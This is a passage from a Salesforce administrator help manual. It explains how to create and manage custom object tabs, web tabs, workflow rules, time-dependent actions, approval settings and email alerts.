Creating Custom Object Tabs


Custom Object Tabs and Web Tabs available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and
Developer Editions
Apex Page Tabs available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create and edit custom tabs: “Customize Application”

Define a new tab to display the data stored in your custom object records.

1. Click Setup ➤ Create ➤ Tabs.


2. Click New in the Custom Object Tabs related list.
3. Select the custom object to display in the custom tab. If you have not already created the custom object, click create a new
custom object now and follow the instructions in Defining Custom Objects on page 765.

790
Create Defining Custom Tabs

The label of the new tab is the same as the plural version of the custom object label, as described in Defining Custom
Objects on page 765.
4. Click the Tab Style lookup icon to display the Tab Style Selector.
If a tab style is already in use, a number enclosed in brackets [] appears next to the tab style name. Hover your mouse over
the style name to view the tabs that use the style. Click Hide styles which are used on other tabs to filter
this list.
5. Click a tab style to select the color scheme and icon for the custom tab.
Optionally, click Create your own style on the Tab Style Selector dialog if you want to create a custom tab style and your
organization has access to the Documents tab. To create your own tab style:

a. Click the Color lookup icon to display the color selection dialog and click a color to select it.
b. Click Insert an Image, select the document folder, and select the image you want to use.
Alternatively, click Search in Documents, enter a search term, and click Go! to find a document file name that includes
your search term.
Note: This dialog only lists files in document folders that are under 20 KB and have the Externally Available
checkbox selected in the document property settings. For more information, see uploading images and document
property settings. If the document used for the icon is later deleted, Salesforce.com replaces it with a default

multicolor block icon ( ).

c. Select a file and click OK. The New Custom Tab wizard reappears.

6. Optionally, choose a custom link to use as the introductory splash page when users initially click the tab. For details about
creating a custom link to use as a splash page for your custom tab, see Defining Custom Buttons and Links on page 653.
7. Enter a description of the tab, if desired, and click Next.
8. Choose the user profiles for which the new custom tab will be available:

• Select Apply one tab visibility to all profiles and choose Default On, Default Off, or Tab Hidden from the drop-down
list.
• Alternatively, select Apply a different tab visibility for each profile and choose Default On, Default Off, or Tab
Hidden from the drop-down list for each profile.

For Professional Edition users and Salesforce Platform One license users, tab visibility is automatically set to Default On.
9. Specify Tab Visibility.
For Enterprise, Unlimited, Developer Edition, and organizations, choose Default On, Default Off, or Tab Hidden in Tab
Visibility to determine whether the custom tab is visible to users with that profile, and click Next. For Professional
Edition organizations, tab visibility is automatically set to Default On. Salesforce Platform One license users, tab visibility
is automatically set to Default On.
If you choose Default On or Default Off, an option is added to the Create New drop-down list in the sidebar so that
users with the “Create” permission can quickly create a new record. For example, if the custom object displayed in the
custom tab is named Expenses, an Expense option appears in this list.
10. Specify the custom apps that should include the new tab. See What is an App? on page 755 for information on custom
apps.
11. Check Append tab to users' existing personal customizations to add the new tab to your users’ customized
display settings if they have customized their personal display.
12. Click Save.

791
Create Defining Custom Tabs

To further customize the tab:

• Define the page layout for records displayed in the tab. The page layout controls which fields are visible and editable when
users are entering data in the custom tab. For details, see Building Page Layouts for Custom Objects on page 780.
• Specify which fields display to users in the key lists section of the custom object tab home page. For details, see Customizing
Search Layouts for Custom Objects on page 781.

See Also:
Creating Custom Object Tabs

Creating Web Tabs


Custom Object Tabs and Web Tabs available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and
Developer Editions
Apex Page Tabs available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create and edit custom tabs: “Customize Application”

Build web tabs so that your users can use your web applications or other websites from within the application.

1. Click Setup ➤ Create ➤ Tabs.


2. Click New in the Web Tabs related list.
3. Choose a layout for the new tab. The full page width spans across the entire page without the sidebar while the column
style allows users to view the sidebar.
4. Click Next.
5. Choose URL for tab type. Choose Custom S-Control if you have previously created a custom s-control that you want
displayed in the web tab. See Defining Custom S-Controls on page 1041.
6. Enter a label to display on the tab.
7. Click the Tab Style lookup icon to display the Tab Style Selector.
If a tab style is already in use, a number enclosed in brackets [] appears next to the tab style name. Hover your mouse over
the style name to view the tabs that use the style. Click Hide styles which are used on other tabs to filter
this list.
8. Click a tab style to select the color scheme and icon for the custom tab.
Optionally, click Create your own style on the Tab Style Selector dialog if you want to create a custom tab style and your
organization has access to the Documents tab. To create your own tab style:

a. Click the Color lookup icon to display the color selection dialog and click a color to select it.
b. Click Insert an Image, select the document folder, and select the image you want to use.
Alternatively, click Search in Documents, enter a search term, and click Go! to find a document file name that includes
your search term.

792
Create Defining Custom Tabs

Note: This dialog only lists files in document folders that are under 20 KB and have the Externally Available
checkbox selected in the document property settings. For more information, see uploading images and document
property settings. If the document used for the icon is later deleted, Salesforce.com replaces it with a default

multicolor block icon ( ).

c. Select a file and click OK. The New Custom Tab wizard reappears.

9. Change the content frame height if necessary.


10. Optionally, select the Mobile Ready checkbox to indicate that the web page displays and functions properly in a mobile
web browser.
Selecting the checkbox adds the tab to the list of available tabs for your mobile configurations. See Managing Mobile Tabs
on page 2193 for information on how to mobilize tabs. Review the considerations for ensuring that the pages in your web
tabs are compatible with mobile browsers before mobilizing a web tab.
Note that the Mobile Ready checkbox is only visible if Salesforce Mobile is enabled for your organization.
11. Optionally, choose a custom link to use as the introductory splash page when users initially click the tab. See Defining
Custom Buttons and Links on page 653 for information about creating a custom link to use as a splash page for your custom
tab. Note that splash pages do not display in the mobile application. Avoid using a splash page if you plan to mobilize the
web tab.
12. Enter a description of the tab, if desired, and click Next.
13. Enter the URL or choose the custom s-control that you want to display in the tab. Optionally, copy and paste any merge
fields for data that you want replaced in the link dynamically.
Remember to include the http:// before your URL. User, organization, and API merge fields are available for web tabs.
For details about using merge fields, see Merge Fields Overview on page 100.
Optionally, click the preview link to display your web tab.
14. For a URL, choose an encoding setting and click Next.
15. Add the web tab to the appropriate profiles. In Tab Visibility, choose Default On, Default Off, or Tab Hidden to
determine whether the custom tab is visible to users with that profile. The administrator can change this setting later.
16. Check Append tab to users' existing personal customizations to apply the tab visibility settings to all
users.
17. Specify the custom apps that should include the new tab. See What is an App? on page 755 for information on custom
apps.
18. Click Save.

793
Create Managing Custom Tabs

Managing Custom Tabs


Custom Object Tabs and Web Tabs available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and
Developer Editions
Apex Page Tabs available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create, edit, and delete custom tabs: “Customize Application”

After creating your custom tabs, you can edit or delete them. Click Setup ➤ Create ➤ Tabs to display a list of your
organization’s custom tabs, web tabs, and Visualforce tabs. Use this page to view, create, edit, or delete custom tabs.

• To view details for a custom tab, click the custom tab name.
• To change the properties of a custom tab, click Edit, make the appropriate changes, and click Save. Before changing the
Splash Page Custom Link, see Defining Home Tab Components on page 641 for information about creating a custom
link to use as a splash page for your custom tab.
• To remove a custom tab, click Del.
• To create a new custom tab, click New. See Creating Custom Object Tabs on page 790, Creating Web Tabs on page 792,
or Creating Visualforce Tabs on page 1031.
• To share custom tabs with other users on Force.com AppExchange, see Overview of Packages on page 907.
• To enable Visualforce or web tabs for mobile users, edit the properties of the tabs and select the Mobile Ready checkbox.
See Creating Visualforce Tabs on page 1031 and Creating Web Tabs on page 792. For more information about customizing
tabs in the mobile application, see Managing Mobile Tabs on page 2193.
• To create apps that can be upgraded, see Enabling Managed Packages for Your Organization on page 951.

Managing Workflow and Approvals


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view workflow rules and approval processes: “View Setup and Configuration”
To create or change workflow rules and approval processes: “Customize Application”

Your sales force operates more efficiently with standardized internal procedures and automated business processes. Set up
Salesforce.com to automatically perform these procedures and processes based on your organization’s needs.
Begin by designing workflow rules and approval processes, and associating them with workflow actions, such as email alerts,
tasks, field updates, or outbound messages.

794
Create Managing Workflow and Approvals

Terminology
Workflow Rule
A workflow rule sets workflow actions into motion when its designated conditions are met. You can configure workflow
actions to execute immediately when a record meets the conditions in your workflow rule, or set time triggers that execute
the workflow actions on a specific day. If a workflow action has not executed yet, you can view and modify it in the
Workflow Queue. See Managing Workflow Rules to get started using workflow rules. For a list of the maximum number
of rules allowed in each organization, see Salesforce.com Editions and Limits.

Approval Process
An automated process your organization can use to approve records in Salesforce.com. An approval process specifies the
steps necessary for a record to be approved and who must approve it at each step. A step can apply to all records included
in the process, or just records that have certain attributes. An approval process also specifies the actions to take when a
record is approved, rejected, recalled, or first submitted for approval. See Managing Approval Processes to get started
using approval processes.

Workflow and Approval Actions


Workflow and approval actions consist of email alerts, tasks, field updates, and outbound messages that can be triggered
by a workflow rule or approval process.

Email Alert
Email alerts are workflow and approval actions that are generated using an email template by a workflow rule or approval
process and sent to designated recipients, either Salesforce.com users or others. See Managing Email Alerts to get started
using email alerts.

Field Update
Field updates are workflow and approval actions that specify the field you want updated and the new value for it.
Depending on the type of field, you can choose to apply a specific value, make the value blank, or calculate a value based
on a formula you create. See Managing Field Updates to get started using field updates.

Task
Assigns a task to a user you specify. You can specify the Subject, Status, Priority, and Due Date of the task.
Tasks are workflow and approval actions that are triggered by workflow rules or approval processes. See Managing Tasks
for Workflow and Approvals to get started using tasks.

795
Create Managing Workflow Rules

Outbound Message
Workflow and approval actions that send the information you specify to an endpoint you designate, such as an external
service. An outbound message sends the data in the specified fields in the form of a SOAP message to the endpoint.
See Managing Outbound Messages to get started using outbound messages.

See Also:
Creating Email Alerts for Workflow and Approvals
Creating Tasks for Workflow and Approvals
Defining Field Updates
Defining Outbound Messages
Creating Workflow Rules
Examples of Workflow Rules
Customizing Workflow and Approval Settings
Administrator tip sheet: Workflow: Automating The Process
Differences Between Auto-Response Rules and Workflow Alerts
Creating Approval Processes

Managing Workflow Rules


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view workflow rules: “View Setup and Configuration”
To create or change workflow rules: “Customize Application”

Automate your organization’s standard processes by configuring workflow rules.


Workflow automates the following types of actions:

• Email Alerts—Send an email to one or more recipients. For example, automatically send sales management an email alert
when a sales representative qualifies a large deal.
• Tasks—Assign a new task to a user, role, or record owner. For example, automatically assign follow-up tasks to a support
representative one week after a case is updated.
• Field Updates—Update the value of a field on a record. For example, automatically change the Owner field on a contract
three days before it expires.
• Outbound Messages—Send a secure configurable API message (in XML format) to a designated listener. For example,
automatically initiate the reimbursement process for an approved expense report by triggering an outbound API message
to an external HR system.

Configure your organization’s workflow by creating workflow rules. Each workflow rule consists of:

• Criteria that determine when Salesforce.com executes the workflow rule. Any change that causes a record to match this
criteria can trigger the workflow rule—even changes to hidden fields.

796
Create Managing Workflow Rules

• Immediate actions to take when the workflow rule executes. For example, Salesforce.com can automatically send an email
that notifies the sales team when a new high-value opportunity is created.
• Time-dependent actions that Salesforce.com queues when the workflow rule executes. For example, Salesforce.com can
automatically send an email reminder to the account team if a high-value opportunity is still open ten days before the
specified close date. When Salesforce.com triggers a workflow rule that has time-dependent actions, you can use the
workflow queue to monitor and cancel pending actions.

If you plan on configuring workflow rules that have time-dependent actions, specify a default workflow user. Salesforce.com
associates the default workflow user with a workflow rule if the user who initiated the rule is no longer active.
To get started using workflow rules, click Setup ➤ Create ➤ Workflow & Approvals ➤ Workflow Rules. From this page,
you can:

• Click New Rule to create a new workflow rule.


• Select an existing rule to view its details, clone it, activate and deactivate it, or view and edit actions and time triggers.
• Click Edit to make changes to a workflow rule.
• Click Del to delete a workflow rule.
Note: You cannot delete a workflow rule that has pending actions in the workflow queue. Wait until pending
actions are processed, or use the workflow queue to cancel the pending actions.

• Click Activate to set a rule into action. Click Deactivate to prevent the rule from firing when its conditions are met. Note
the following:

- You can deactivate a workflow rule at any time. However, if you deactivate a rule that has pending actions, Salesforce.com
completes those actions as long as the record that triggered the rule is not updated.
- You cannot add time-dependent workflow actions to active workflow rules. Deactivate the workflow rule first, add the
time-dependent workflow action, and reactivate the rule.

Tip: You can use the System Log console to debug workflow rules. The System Log console lets you view debug log
details and information about workflow rules and actions , such as the name of the user who triggered the workflow
rule and the name and ID of the record being evaluated.

See Also:
Creating Workflow Rules
Notes on Using Workflow Rules
Examples of Workflow Rules
Managing Workflow and Approvals
Managing Email Alerts
Managing Tasks for Workflow and Approvals
Managing Field Updates
Defining Outbound Messages
Differences Between Auto-Response Rules and Workflow Alerts

797
Create Managing Workflow Rules

Creating Workflow Rules


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or change workflow rules, email alerts, tasks, field “Customize Application”
updates, and outbound messages:

Automate your organization’s standard processes by configuring workflow rules.


Workflow automates the following types of actions:

• Email Alerts—Send an email to one or more recipients. For example, automatically send sales management an email alert
when a sales representative qualifies a large deal.
• Tasks—Assign a new task to a user, role, or record owner. For example, automatically assign follow-up tasks to a support
representative one week after a case is updated.
• Field Updates—Update the value of a field on a record. For example, automatically change the Owner field on a contract
three days before it expires.
• Outbound Messages—Send a secure configurable API message (in XML format) to a designated listener. For example,
automatically initiate the reimbursement process for an approved expense report by triggering an outbound API message
to an external HR system.

To create a new rule:

1. Select the object to which the workflow rule applies.


2. Configure the workflow rule settings and criteria.
3. Configure the workflow actions.
4. Activate the workflow rule.

Select the Object for Your Workflow Rule


1. Click Setup ➤ Create ➤ Workflow & Approvals ➤ Workflow Rules.
2. On the workflow rules list page, click New Rule.
3. Choose a custom or standard object to which you want this workflow rule to apply.
Note: If you have a workflow action that updates a field on a related object, that target object is not the one
associated with the workflow rule.
To create workflow rules based on new case comments or incoming email messages that automatically update fields
on their associated cases, choose either Case Comment or Email Message. See Notes on Using Workflow Rules
for more information.
You cannot create email alerts for workflow rules on activities.

4. Click Next.

798
Create Managing Workflow Rules

Configure Rule Settings and Criteria


1. Enter a rule name.
2. Optionally, enter a description for the rule.
3. Choose the evaluation criteria:

• When a record is created, or when a record is edited and did not previously meet the
rule criteria: Choose this option to include new records and updates to existing records, unless the rule just ran
and still meets the rule criteria. The rule is not re-triggered on edits that do not affect rule criteria. For example, if
setting an opportunity rating to “Hot” causes the rule to run, with this option, the rule will run again only if the rating
changes, then changes back to “Hot”—no matter how many times you edit the object.
• Only when a record is created: Choose this option to ignore updates to existing records.
• Every time a record is created or edited: Choose this option to include new records and updates to
existing records and repeatedly trigger the rule, even if the record still meets the criteria. You cannot add time-dependent
actions to the rule if you choose Every time a record is created or edited.
Note: You can't add time-dependent actions to a rule if you choose Every time a record is created
or edited.

4. Enter your rule criteria:

• Choose criteria are met and select the filter criteria that a record must meet to trigger the rule. For example, set
the filter to “Opportunity: Amount greater than 5000” if you want opportunity records with an amount greater than
$5,000 to trigger the rule. If your organization uses multiple languages, enter filter values in your organization's default
language. You can click the Advanced Options... link to add up to 25 filter criteria, up to 255 characters.
• Choose formula evaluates to true and enter a formula that returns a value of “True” or “False.” Salesforce.com
triggers the rule if the formula returns “True.” Examples of useful workflow formulas include:

- If the number of filled positions equals the number of total positions on a job, update the Job Status field to
“Filled.”
- If mileage expenses associated with visiting a customer site are 35 cents per mile and exceed a $1,000 limit,
automatically update the Approval Required field to “Required.”
- If a monthly subscription-based opportunity amount is greater than $10,000, create a task for an opportunity owner
to follow up 60 days after the opportunity is closed.

Some functions on page 548 are not available in workflow rule formulas. You cannot create a formula in which a custom
object references fields on a parent object.
Tip: You can use merge fields for directly related objects in workflow rule formulas. For more information,
see Merge Fields Overview.

5. Click Save & Next.

Configure Workflow Actions


Add immediate and time-dependent actions to the workflow rule. Immediate actions trigger once evaluation criteria are met.
Time-dependent actions specify when Salesforce.com executes the workflow action. For example, Salesforce.com can

799
Create Managing Workflow Rules

automatically send an email reminder to the account team if a high-value opportunity is still open ten days before the specified
close date.
Tip: Time-dependent actions and time triggers are complex features with several considerations.
If you plan on configuring workflow rules that have time-dependent actions, specify a default workflow user.
Salesforce.com associates the default workflow user with a workflow rule if the user who initiated the rule is no longer
active.

1. Add a workflow action:

• To add an immediate workflow action, click Add Workflow Action in the Immediate Workflow Actions section and
select:

- New Task to create a task to associate with the rule


- New Email to create an email alert to associate with the rule
- New Field Update to define a field update to associate with the rule
- New Outbound Message to define an outbound message to associate with the rule
- Select Existing Action to select an existing action to associate with the rule

• To add a time-dependent workflow action, click Add Time Trigger in the Time-Dependent Workflow Actions section
and:

a. Specify a number of days or hours before or after a date relevant to the record, such as the date the record was
created or modified. If the workflow rule is in effect when this time occurs, the time trigger fires the workflow
action.
b. Click Save.

Note: The Add Time Trigger button is unavailable if:

- The rule criteria is set to Every time a record is created or edited


- The rule is activated
- The rule is deactivated but has pending actions in the workflow queue

2. Configure additional immediate or time-dependent actions.


3. Click Done.
Note: For standard objects, workflow rules can only perform field updates on the object related to the rule. The
exceptions are that both Case Comments and Email Messages can perform cross-object field updates on Cases. For
all custom objects, however, you can create workflow actions where a change to a detail record updates a field on the
related master record. Cross-object field updates only work for custom-to-custom master-detail relationships. For
example, in a custom recruiting application, create a workflow rule that sets the status of an application (the master
object) to “Closed” when a candidate (the detail object) accepts the job. Or, for standard objects, create a rule to change
the status of a case from “Awaiting Customer Response“ to “In Progress” when a customer adds a case comment.
The cross-object field update function may depend on certain critical updates being active. Click Setup ➤ Critical
Updates to see if your organizaton requires any updates.

800
Create Managing Workflow Rules

Activate the Workflow Rule


Salesforce.com does not trigger a workflow rule until you activate it. To activate a workflow rule, click Activate on the workflow
rule detail page. Click Deactivate to prevent a rule from triggering or if you want to edit the time-dependent actions and time
triggers associated with the rule.

Notes on Using Workflow Rules


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view workflow rules: “View Setup and Configuration”
To create or change workflow rules: “Customize Application”

Consider the following when configuring workflow rules:

• Each workflow rule applies to a single object, such as leads, accounts, or opportunities. For the maximum number of
workflow rules allowed on an object, see Salesforce.com Editions and Limits on page 1007.
• For standard objects, workflow rules can only perform field updates on the object related to the rule. The exceptions are
that both Case Comments and Email Messages can perform cross-object field updates on Cases. For all custom objects,
however, you can create workflow actions where a change to a detail record updates a field on the related master record.
Cross-object field updates only work for custom-to-custom master-detail relationships. For example, in a custom recruiting
application, create a workflow rule that sets the status of an application (the master object) to “Closed” when a candidate
(the detail object) accepts the job. Or, for standard objects, create a rule to change the status of a case from “Awaiting
Customer Response“ to “In Progress” when a customer adds a case comment.
• The cross-object field update function may depend on certain critical updates being active. Click Setup ➤ Critical Updates
to see if your organizaton requires any updates.
• Workflow rules cannot be triggered by campaign statistic fields, including individual campaign statistics and campaign
hierarchy statistics. For a list of campaign fields that cannot trigger workflow rules, see Campaign Fields on page 1310.
• Workflow rules can be triggered any time a record is saved or created, depending on your rule criteria. However, rules
created after saving records aren't triggered by those records retroactively.
• Workflow rules are triggered when a standard object in a master-detail relationship is re-parented, even if the object's
evaluation criteria is set to When a record is created, or when a record is edited and did not
previously meet the rule criteria.
• Workflow rules only trigger on converted leads if validation and triggers for lead convert are enabled in your organization.
• Workflow rules on custom objects are automatically deleted if the custom object is deleted.
• Workflow rules trigger automatically and are invisible to the user. Alternatively, approval processes allow users to submit
records for approval.
• The order in which actions are executed is not guaranteed. Field update actions are executed first, followed by other actions.
• You can't create email alerts for workflow rules on activities.
• You can't create outbound messages for workflow rules on junction objects.
• To create workflow rules that update case fields based on new case comments or incoming email messages, choose Case
Comment or Email Message from the Select Object drop-down list; Email Message is only available if Email-to-Case

801
Create Managing Workflow Actions

or On-Demand Email-to-Case is enabled. You can only create email message workflow rules for field updates, and case
comment workflow rules for field updates, email alerts, and outbound messages. For example, you can create a workflow
rule so that an email marked as Is Incoming changes its case's Status from Closed to New.
• Saving or creating records can trigger more than one rule.
• The following actions don't trigger workflow rules:

- Mass replacing picklist values


- Mass updating address fields
- Mass updating divisions
- Changing the territory assignments of accounts and opportunities
- Converting leads to person accounts

• Changes you make to records while using Connect Offline are evaluated by workflow rules when you synchronize.
• Salesforce.com processes any rules in the following order:

1. Validation rules
2. Assignment rules
3. Auto-response rules
4. Workflow rules (with immediate actions)
5. Escalation rules

• If a lookup field references a record that is deleted, Salesforce.com sets the lookup field to null, and does not run any Apex
triggers, validation rules, workflow rules, or roll-up summary fields.

Tip: You can use the System Log console to debug workflow rules. The System Log console lets you view debug log
details and information about workflow rules and actions , such as the name of the user who triggered the workflow
rule and the name and ID of the record being evaluated.

Managing Workflow Actions


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view workflow rules, email alerts, tasks, field updates, and “View Setup and Configuration”
outbound messages:
To create or change workflow rules, email alerts, tasks, field “Customize Application”
updates, and outbound messages:

To manage your workflow actions:

1. Click Setup ➤ Create ➤ Workflow & Approvals ➤ Workflow Rules to access the workflow rules list page.
2. Click the name of the rule with the workflow actions you want to edit.
3. Click Edit in the Workflow Actions section.
4. Manage your workflow actions as follows:

802
Create Time-Dependent Action and Time Trigger Considerations

• Click Edit next to any workflow action or time trigger to modify it.
• Click Remove next to any workflow action to remove it from the rule. This disassociates the workflow action from the
workflow rule but does not delete the workflow action.
• Click Delete next to any time trigger to remove it from the rule. This deletes the time trigger and removes its associated
actions from the workflow rule but does not delete the workflow actions. The workflow actions are still available when
you click Add Workflow Action and choose the Select Existing Action option.
• Click Add Workflow Action in the Immediate Workflow Actions section to add an immediate workflow action to
the workflow rule.
• Click Add Time Trigger to add a time trigger to the workflow rule.
• Click Add Workflow Action next to a time trigger to add time-dependent workflow actions to the time trigger.

5. Click Done.

See Also:
Managing Workflow Rules
Creating Workflow Rules
Time-Dependent Action and Time Trigger Considerations
Selecting Existing Actions

Time-Dependent Action and Time Trigger Considerations


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To define, edit, or delete time-dependent actions and time “Customize Application”
triggers:

Before you begin creating time-dependent actions and time triggers for your workflow rules, consider the following:

• Define your time triggers using days or hours as your unit of time. Time triggers do not support minutes or seconds.
• When defining a time trigger, use standard and custom date and date/time fields defined for the object.
• Time-based workflow is evaluated based on the organization's time zone, not the users. Users in different time zones may
see differences in behavior.
• You cannot create or edit time triggers that reference DATE or DATETIME fields containing automatically derived functions,
such as TODAY or NOW. Formula fields that include related object merge fields are also not allowed.
• To ensure an organization does not monopolize shared resources, Salesforce.com limits the number of time triggers an
organization can execute per hour. The limits are as follows:

- Enterprise Edition = 500


- Developer Edition = 50
- Unlimited Edition = 1,000

803
Create Time-Dependent Action and Time Trigger Considerations

If an organization exceeds these limits, Salesforce.com defers the execution of the additional time triggers to the next hour.
For example, if an Unlimited Edition organization has 1,200 time triggers scheduled to execute between 4:00 PM and
5:00 PM, Salesforce.com processes 1,000 time triggers between 4:00 PM and 5:00 PM and the remaining 200 time triggers
between 5:00 PM and 6:00 PM.
• Time triggers are not necessarily executed in the order they are displayed on the workflow rule detail page. Workflow rules
list time triggers that use the Before field first, followed by time triggers that use the After field.
• If you change a date field and that date field is referenced by an unfired time trigger in a workflow rule that has been
evaluated, Salesforce.com recalculates the unfired time triggers associated with the rule. For example, if a workflow rule is
scheduled to alert the opportunity owner seven days before the opportunity close date and the close date is set to 2/20/2011,
Salesforce.com sends the alert on 2/13/2011. If the close date is updated to 2/10/2011 and the time trigger has not fired,
Salesforce.com reschedules the alert for 2/3/2011. If Salesforce.com recalculates the time triggers to a date in the past,
Salesforce.com triggers the associated actions shortly after you save the record.
• If a workflow rule has a time trigger set for a time in the past, Salesforce.com queues the associated time-dependent actions
to execute sometime within the hour, depending on system usage. For example, if a workflow rule on opportunities is
configured to send an email alert seven days before the close date and you create an opportunity record with the close date
set to today, Salesforce.com sends the email alert within four hours after you create the opportunity.
• Salesforce.com does not display time-dependent action controls on the workflow rule edit page if you set the workflow
rule evaluation criteria to Every time a record is created or updated.
• Time-dependent actions remain in the workflow queue only as long as the rule criteria for the workflow rule is still valid.
If a record no longer matches the rule criteria, Salesforce.com removes the time-dependent actions queued for that record.
For example, an opportunity workflow rule may specify:

- A criteria set to “Opportunity: Status not equals to Closed Won, Closed Lost.”
- An associated time-dependent action with a time trigger set to seven days before the opportunity close date.

If a record that matches the criteria is created on July 1st and the Close Date is set to July 30th, the time-dependent
action is scheduled for July 23rd. However, if the opportunity is set to “Closed Won” or “Closed Lost” before July 23rd,
the time-dependent action is automatically removed from the queue.
• If you delete a record that has pending actions, the pending actions are deleted from the workflow queue and cannot be
restored, even if you undelete the record.
• Time-dependent actions can automatically be queued again if the record is updated and you set the evaluation criteria to
be When a record is created, or when a record is edited and did not previously meet the
entry criteria. Using the previous example, if the opportunity status is changed from Closed Lost to Prospecting
and the workflow rule evaluation criteria is set to When a record is created, or when a record is edited
and did not previously meet the entry criteria, Salesforce.com reevaluates the time triggers and adds the
appropriate actions to the workflow queue.
• If the evaluation criteria is set to Only when a record is created, the workflow rule evaluates its time triggers only
once. If the record that fired the rule changes to no longer meet the evaluation criteria, the pending actions are removed
from the queue and the rule is never reapplied to the record.
• You cannot archive a product or price book that has pending actions.
• You cannot convert a lead that has pending actions.
• If a time trigger uses a field that is null, Salesforce.com ignores the time trigger.
• You can deactivate a workflow rule at any time. If the rule has pending actions in the workflow queue, editing the record
that triggered the rule removes the pending actions from the queue. If you do not edit the record, the pending actions are
processed even though the rule has been deactivated.
• You can add actions to existing time triggers.
• You cannot add or remove time triggers if any of the following are true:

804
Create Customizing Workflow and Approval Settings

- The workflow rule is active.


- The workflow rule is deactivated but has pending actions in the queue.
- The workflow rule trigger type is set to Every time a record is created or edited.

• Existing workflow rules are not affected by time-dependent actions; Salesforce.com lists all existing actions in the Immediate
Workflow Actions list.
• If Validation and Triggers from Lead Convert is enabled, existing time-based workflow actions on leads are not triggered
during lead conversion.
• If a campaign member based on a lead is converted prior to the completion of time-based workflow actions associated with
it, the time-based workflow actions will still be performed.
• Time-based workflow rules are not reevaluated if an Apex post trigger executed as a result of a workflow rule or approval
process updates a field so its value no longer meets the time-based workflow rule criteria.

See Also:
Managing Workflow Rules
Examples of Workflow Rules
Creating Workflow Rules
Managing Workflow Actions

Customizing Workflow and Approval Settings


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To edit workflow and approval settings: “Customize Application”

To customize settings for workflow rules and approval processes:

1. Click Setup ➤ Create ➤ Workflow & Approvals ➤ Settings.


2. Select a Default Workflow User that you want Salesforce.com to display with a workflow rule when the user that
triggered the rule is not active.
If your organization uses time-dependent actions in workflow rules, you must designate a default workflow user.
Salesforce.com displays this username in the Created By field for tasks, the Sending User field for email, and the
Last Modified By field for field updates. Salesforce.com does not display this username for outbound messages. If a
problem occurs with a pending action, the default workflow user receives notification email from Salesforce.com.
3. To enable email approval response for your organization, select the Enable Email Approval Response checkbox.
The email approval response feature gives users the ability to approve or reject email approval requests by replying to the
email.
Note: Before enabling email approval response, note that you cannot use this feature with approval processes in
which the assigned approver is a queue, or in a multi-step approval process in which the next approver is manually

805
Create Managing Email Alerts

chosen after the first step. Also, users that use Microsoft Word as their email editor must add the comments to
the end of the first line of the reply email instead of the second.

4. Click Save.

When you enable email approval response, Salesforce.com uses the following default email template for approval processes
unless you specify a custom email template:

[name of requesting user] has requested your approval for


the following item.

To approve or reject this item, reply to this email with


the word APPROVE, APPROVED, YES, REJECT, REJECTED, or NO
in the first line of the email message, or click this link:

[link to approval page]

If replying via email you can also add comments on the


second line. The comments will be stored with the approval
request in salesforce.com.

Note: For salesforce.com to process your response the word


APPROVE, APPROVED, YES, REJECT, REJECTED, or NO must be in
the very first line of the reply email. Also, any comment
must be in the second line.

If you select a custom email template when configuring an approval response, be sure it contains the above information so
users know how to correctly reply to the email approval request.

See Also:
Managing Workflow Rules
Creating Workflow Rules
Email Approval Response FAQ

Managing Email Alerts


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view email alerts: “View Setup and Configuration”
To create or change email alerts: “Customize Application”

Email alerts are emails generated by a workflow rule or approval process and sent to designated recipients whenever specific
business actions trigger the workflow rule or approval process. Email alerts contain the standard text and list of recipients for
an email. You must specify an email template for email alerts. To use a standard global From address for email alerts, like
support@company.com, set up an organization-wide address first.

806
Create Managing Email Alerts

To get started using email alerts, click Setup ➤ Create ➤ Workflow & Approvals ➤ Email Alerts.

• Click New Email Alert to create a new email alert.


• Select an existing email alert to view details about it, create a cloned email alert, or view all the rules using it.
• Click Edit to make changes to an existing email alert.
• Click Del to delete a email alert.

See Also:
Creating Email Alerts for Workflow and Approvals
Managing Workflow and Approvals
Managing Workflow Rules
Differences Between Auto-Response Rules and Workflow Alerts

Creating Email Alerts for Workflow and Approvals


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or change workflow rules: “Customize Application”
To create or change email alerts: “Customize Application”

To create your email alerts:

1. Click Setup ➤ Create ➤ Workflow & Approvals ➤ Email Alerts.


2. Click New Email Alert.
3. Configure the email alert:

a. Enter a description for this email alert.


b. Enter a unique name to refer to this component in the Force.com API and to prevent naming conflicts for managed
package installations. The requirement for uniqueness is only within the selected object type. You can have actions of
the same type (for example, two email alerts) with the same unique name, provided they are defined for different objects,
such as one for Campaigns and one for Opportunities. The Unique Name field can contain only underscores and
alphanumeric characters. It must be unique within the selected object type, begin with a letter, not include spaces, not
end with an underscore, and not contain two consecutive underscores.
c. If available, choose the object for this email alert.
Salesforce.com uses this object when generating merge field values for email templates with workflow rules and approval
processes. Also, you can define the recipients of this email alert using contact and user lookup fields that are relevant
to that object. For example, if you select Contract, you can define the contract signer as a recipient. The object is read
only if the new email alert is associated with an approval process or workflow rule for a particular object.
Tip: To create workflow rules for case comments so that comments added to cases send email alerts when a
rule is triggered, select Case Comment in the Object drop-down list when creating a new workflow rule.

807
Create Managing Email Alerts

d. Choose an email template.


Note: If the email template you choose contains approval merge fields named
{!ApprovalRequest.field_name}, these fields will return values only when that email template is used
as the approval assignment template. If you use the template for any other email alert action—in either workflow
rules or approval processes—the merge fields will return a null value.

e. Check the Protected Component check box to mark the alert as protected.
f. Select the type of recipient who you want to receive this email alert. The options are:

• Account Owner—The user listed as the account owner of either the account itself or the account associated with
the record. This option only works for email alerts on accounts, opportunities, cases, contacts, contracts, and any
custom object that is a child of the account object. Also, an account owner must be specified for the associated
account. If you select another type of object or the associated account does not have an account owner, Salesforce.com
sends the email alert to the record owner instead.
• Account Team—All users assigned to a particular account team role.

